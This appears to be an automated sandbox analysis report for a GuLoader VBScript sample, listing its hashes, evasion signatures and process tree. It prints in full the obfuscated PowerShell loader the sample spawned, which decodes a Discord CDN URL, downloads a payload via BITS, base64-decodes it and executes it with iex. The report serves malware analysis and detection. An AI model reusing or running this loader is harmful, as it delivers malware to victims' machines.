Analysis

  • max time kernel
    142s
  • max time network
    164s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/08/2023, 15:51

General

  • Target

    8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs

  • Size

    10KB

  • MD5

    9127b986f6b8b55cc8faa723accd3658

  • SHA1

    2c00263ac7b91fc3a150e3bba231e73d3d2672fb

  • SHA256

    8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7

  • SHA512

    838a0d995b3d14ab91147c6e4f963df34cddbe2ac344bdd98d3d5bdcea08d463725e878fc55395d0edb703d1b63b520fdce82b0fb2c6e949da4d9b594c85f4b6

  • SSDEEP

    192:EL2f6ltP1LsfgyTWEgF4nssbpPtNchpSKBZV7Ej9m+OSgGHTz:E6fUNwWMbNtNcnBva4QHTz

Score
10/10

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Checks QEMU agent file 2 TTPs 1 IoCs

    Checks presence of QEMU agent, possibly to detect virtualization.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function ulcerous9 ([String]$Simulacras){For($Anterethic=1; $Anterethic -lt $Simulacras.Length-1; $Anterethic+=(1+1)){$Ankomst=$Simulacras.Substring($Anterethic, 1);$Vilbertunp=$Vilbertunp+$Ankomst}$Vilbertunp;}$Jaggerurog=ulcerous9 'ShUtRtwpVsE:S/E/Gc dPnS.Fd i s c oSrRd aRpSp . cPoCmP/FaItpt aFcIhamMe nctRsE/M1 0K7S5K6N4P1E3N1 9P5O2N4R9T2E5A4 4U2I/v1 1U3 6S0 5 7I9K9 9m8 4 9E4N3s1 0 4E0G/TPErBoPbS1 7 4p.MdIeLpTl oLyU ';$Vilbertunp01=ulcerous9 ' i eUxE ';$tsar = ulcerous9 'l\KsFyBsRwEoKw 6L4L\LWUi nAd oFwHsOPMoUw eAr S hAeLlalE\ v 1A.V0R\UpFoTwFe rTsRhSeTlAlT. e xDeS ';&($Vilbertunp01) (ulcerous9 'W$SSVtPo rFsNeLjFlle n 2B=U$FeIn vP:lwSiMnFdui r ') ;&($Vilbertunp01) (ulcerous9 'D$OtAsUaPr =P$GSStFo rIsMeBj lPeGnS2E+D$atNsGaCrt ') ;&($Vilbertunp01) (ulcerous9 'S$ISBkCiblUt S=F S(F(Ug wGm iP BwKiGn 3 2C_BpRruoRcLe sIsD V-FFB PtrPobcBeRsBsTIGdA=D$U{UPMI Db}N) .SCBoAmCmYaSnCdSLKiLnJeP)S -JsUpAlAiEtA B[FcmhKaPr ]N3T4s ');&($Vilbertunp01) (ulcerous9 ' $UjHuAr iAsEdDiSkA T=T R$ SAkAiPl tS[S$SSSkEiClAtS.Kc oIuFnAtF- 2U]r ');&($Vilbertunp01) (ulcerous9 'P$ PUeSdSaDn =E( TseKs tR-SPva tKhT K$BtPsTaUrP) L-TAHnRdW G(T[EIUnbtKP tMrD]C:F:PsPiszIeL -MeMqP R8L)D ') ;if ($Pedan) {.$tsar $jurisdik;} else {;$Vilbertunp00=ulcerous9 ' S tFa rKtA-KBBi tHsBTRr a nBsOfMe rA C-HS oRuCrccPeB $ JBaSgIg eDrpuUr oOgG -kD eKs tHignGaEt i oRnT c$KSDtFoSrTsBe jKlNeDnG2v ';&($Vilbertunp01) (ulcerous9 'F$ S tMoUrIsRefjRlceEn 2S=U$UeFnFvR:kaHpHpFd a tIaB ') ;&($Vilbertunp01) (ulcerous9 'sIUmapLoarCtN-DMAoCdJuSlveH SB iFtAsMT r a n sTfFeCrH ') ;$Storsejlen2=$Storsejlen2+'\Geullah.Fad';while (-not $Incurablen) {&($Vilbertunp01) (ulcerous9 ' $hIUnFcSu rFaNbOlDe nU=I(MTTeHsTtS-FPLa tChT N$TSctBoFrBsreEjOl eMna2Y)h ') ;&($Vilbertunp01) $Vilbertunp00;&($Vilbertunp01) (ulcerous9 'BS tAa rStE- S lFeKeApK R5K ');}&($Vilbertunp01) (ulcerous9 'E$BuAlTcAe rAoFu sa H=F gGAeNtA- CLoCnEt eVnStD a$RSgtPoOrEs eBj loeLnF2t ');&($Vilbertunp01) (ulcerous9 'M$SNfdAbFaStU I=D J[BSRyTsPtAe mH. CDoEnSvHeUrLt ]E:A:uFCrPoMmGBLa sOea6R4TSMtArJiUn gG(T$CuHlScdeDrSo uVs ) ');&($Vilbertunp01) (ulcerous9 ' $BVSiIlIbee r t u nHpT2P G=L i[dS y sStTeSmB.DTHeAxBtS. ESn cUoPdTiPnTgF]T:D:sAsSVCTI Iz.RGMeFtSSStArCiHn gM( $MNSdUbDaStH)D ');&($Vilbertunp01) (ulcerous9 'C$HCRoTrPrAeKsUpToI=B$SVNiSlNb eFr thuEnFp 2F.UsUuEbSsItBrFiCnNgp(K2G6Z0M0O3 1I,P1 9C7 2s0q)M ');&($Vilbertunp01) $Correspo;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1300
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function ulcerous9 ([String]$Simulacras){For($Anterethic=1; $Anterethic -lt $Simulacras.Length-1; $Anterethic+=(1+1)){$Ankomst=$Simulacras.Substring($Anterethic, 1);$Vilbertunp=$Vilbertunp+$Ankomst}$Vilbertunp;}$Jaggerurog=ulcerous9 'ShUtRtwpVsE:S/E/Gc dPnS.Fd i s c oSrRd aRpSp . cPoCmP/FaItpt aFcIhamMe nctRsE/M1 0K7S5K6N4P1E3N1 9P5O2N4R9T2E5A4 4U2I/v1 1U3 6S0 5 7I9K9 9m8 4 9E4N3s1 0 4E0G/TPErBoPbS1 7 4p.MdIeLpTl oLyU ';$Vilbertunp01=ulcerous9 ' i eUxE ';$tsar = ulcerous9 'l\KsFyBsRwEoKw 6L4L\LWUi nAd oFwHsOPMoUw eAr S hAeLlalE\ v 1A.V0R\UpFoTwFe rTsRhSeTlAlT. e xDeS ';&($Vilbertunp01) (ulcerous9 'W$SSVtPo rFsNeLjFlle n 2B=U$FeIn vP:lwSiMnFdui r ') ;&($Vilbertunp01) (ulcerous9 'D$OtAsUaPr =P$GSStFo rIsMeBj lPeGnS2E+D$atNsGaCrt ') ;&($Vilbertunp01) (ulcerous9 'S$ISBkCiblUt S=F S(F(Ug wGm iP BwKiGn 3 2C_BpRruoRcLe sIsD V-FFB PtrPobcBeRsBsTIGdA=D$U{UPMI Db}N) .SCBoAmCmYaSnCdSLKiLnJeP)S -JsUpAlAiEtA B[FcmhKaPr ]N3T4s ');&($Vilbertunp01) (ulcerous9 ' $UjHuAr iAsEdDiSkA T=T R$ SAkAiPl tS[S$SSSkEiClAtS.Kc oIuFnAtF- 2U]r ');&($Vilbertunp01) (ulcerous9 'P$ PUeSdSaDn =E( TseKs tR-SPva tKhT K$BtPsTaUrP) L-TAHnRdW G(T[EIUnbtKP tMrD]C:F:PsPiszIeL -MeMqP R8L)D ') ;if ($Pedan) {.$tsar $jurisdik;} else {;$Vilbertunp00=ulcerous9 ' S tFa rKtA-KBBi tHsBTRr a nBsOfMe rA C-HS oRuCrccPeB $ JBaSgIg eDrpuUr oOgG -kD eKs tHignGaEt i oRnT c$KSDtFoSrTsBe jKlNeDnG2v ';&($Vilbertunp01) (ulcerous9 'F$ S tMoUrIsRefjRlceEn 2S=U$UeFnFvR:kaHpHpFd a tIaB ') ;&($Vilbertunp01) (ulcerous9 'sIUmapLoarCtN-DMAoCdJuSlveH SB iFtAsMT r a n sTfFeCrH ') ;$Storsejlen2=$Storsejlen2+'\Geullah.Fad';while (-not $Incurablen) {&($Vilbertunp01) (ulcerous9 ' $hIUnFcSu rFaNbOlDe nU=I(MTTeHsTtS-FPLa tChT N$TSctBoFrBsreEjOl eMna2Y)h ') ;&($Vilbertunp01) $Vilbertunp00;&($Vilbertunp01) (ulcerous9 'BS tAa rStE- S lFeKeApK R5K ');}&($Vilbertunp01) (ulcerous9 'E$BuAlTcAe rAoFu sa H=F gGAeNtA- CLoCnEt eVnStD a$RSgtPoOrEs eBj loeLnF2t ');&($Vilbertunp01) (ulcerous9 'M$SNfdAbFaStU I=D J[BSRyTsPtAe mH. CDoEnSvHeUrLt ]E:A:uFCrPoMmGBLa sOea6R4TSMtArJiUn gG(T$CuHlScdeDrSo uVs ) ');&($Vilbertunp01) (ulcerous9 ' $BVSiIlIbee r t u nHpT2P G=L i[dS y sStTeSmB.DTHeAxBtS. ESn cUoPdTiPnTgF]T:D:sAsSVCTI Iz.RGMeFtSSStArCiHn gM( $MNSdUbDaStH)D ');&($Vilbertunp01) (ulcerous9 'C$HCRoTrPrAeKsUpToI=B$SVNiSlNb eFr thuEnFp 2F.UsUuEbSsItBrFiCnNgp(K2G6Z0M0O3 1I,P1 9C7 2s0q)M ');&($Vilbertunp01) $Correspo;}"
        3⤵
        • Checks QEMU agent file
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3444
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3444 -s 1760
          4⤵
          • Program crash
          PID:3616
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3444 -ip 3444
    1⤵
      PID:4272

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oba3avaj.uk5.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/1300-151-0x0000026A5DCE0000-0x0000026A5DCF0000-memory.dmp

            Filesize

            64KB

          • memory/1300-142-0x0000026A5DCF0000-0x0000026A5DD12000-memory.dmp

            Filesize

            136KB

          • memory/1300-143-0x00007FF9852E0000-0x00007FF985DA1000-memory.dmp

            Filesize

            10.8MB

          • memory/1300-145-0x0000026A5DCE0000-0x0000026A5DCF0000-memory.dmp

            Filesize

            64KB

          • memory/1300-144-0x0000026A5DCE0000-0x0000026A5DCF0000-memory.dmp

            Filesize

            64KB

          • memory/1300-186-0x00007FF9852E0000-0x00007FF985DA1000-memory.dmp

            Filesize

            10.8MB

          • memory/1300-152-0x0000026A5DCE0000-0x0000026A5DCF0000-memory.dmp

            Filesize

            64KB

          • memory/1300-149-0x00007FF9852E0000-0x00007FF985DA1000-memory.dmp

            Filesize

            10.8MB

          • memory/1300-150-0x0000026A5DCE0000-0x0000026A5DCF0000-memory.dmp

            Filesize

            64KB

          • memory/3444-166-0x0000000006820000-0x000000000683E000-memory.dmp

            Filesize

            120KB

          • memory/3444-171-0x0000000006D90000-0x0000000006DAA000-memory.dmp

            Filesize

            104KB

          • memory/3444-153-0x0000000005960000-0x0000000005F88000-memory.dmp

            Filesize

            6.2MB

          • memory/3444-154-0x0000000005920000-0x0000000005942000-memory.dmp

            Filesize

            136KB

          • memory/3444-155-0x0000000006000000-0x0000000006066000-memory.dmp

            Filesize

            408KB

          • memory/3444-156-0x00000000061A0000-0x0000000006206000-memory.dmp

            Filesize

            408KB

          • memory/3444-147-0x0000000005320000-0x0000000005330000-memory.dmp

            Filesize

            64KB

          • memory/3444-167-0x00000000752B0000-0x0000000075A60000-memory.dmp

            Filesize

            7.7MB

          • memory/3444-168-0x0000000005320000-0x0000000005330000-memory.dmp

            Filesize

            64KB

          • memory/3444-169-0x0000000005320000-0x0000000005330000-memory.dmp

            Filesize

            64KB

          • memory/3444-170-0x0000000008070000-0x00000000086EA000-memory.dmp

            Filesize

            6.5MB

          • memory/3444-148-0x0000000005190000-0x00000000051C6000-memory.dmp

            Filesize

            216KB

          • memory/3444-172-0x0000000007AB0000-0x0000000007B46000-memory.dmp

            Filesize

            600KB

          • memory/3444-173-0x0000000007A40000-0x0000000007A62000-memory.dmp

            Filesize

            136KB

          • memory/3444-174-0x0000000008CA0000-0x0000000009244000-memory.dmp

            Filesize

            5.6MB

          • memory/3444-175-0x0000000007E50000-0x0000000007E64000-memory.dmp

            Filesize

            80KB

          • memory/3444-176-0x0000000005320000-0x0000000005330000-memory.dmp

            Filesize

            64KB

          • memory/3444-179-0x0000000009250000-0x0000000009E34000-memory.dmp

            Filesize

            11.9MB

          • memory/3444-178-0x0000000007E90000-0x0000000007E91000-memory.dmp

            Filesize

            4KB

          • memory/3444-180-0x0000000009250000-0x0000000009E34000-memory.dmp

            Filesize

            11.9MB

          • memory/3444-181-0x0000000077CD1000-0x0000000077DF1000-memory.dmp

            Filesize

            1.1MB

          • memory/3444-182-0x0000000009250000-0x0000000009E34000-memory.dmp

            Filesize

            11.9MB

          • memory/3444-183-0x00000000752B0000-0x0000000075A60000-memory.dmp

            Filesize

            7.7MB

          • memory/3444-146-0x00000000752B0000-0x0000000075A60000-memory.dmp

            Filesize

            7.7MB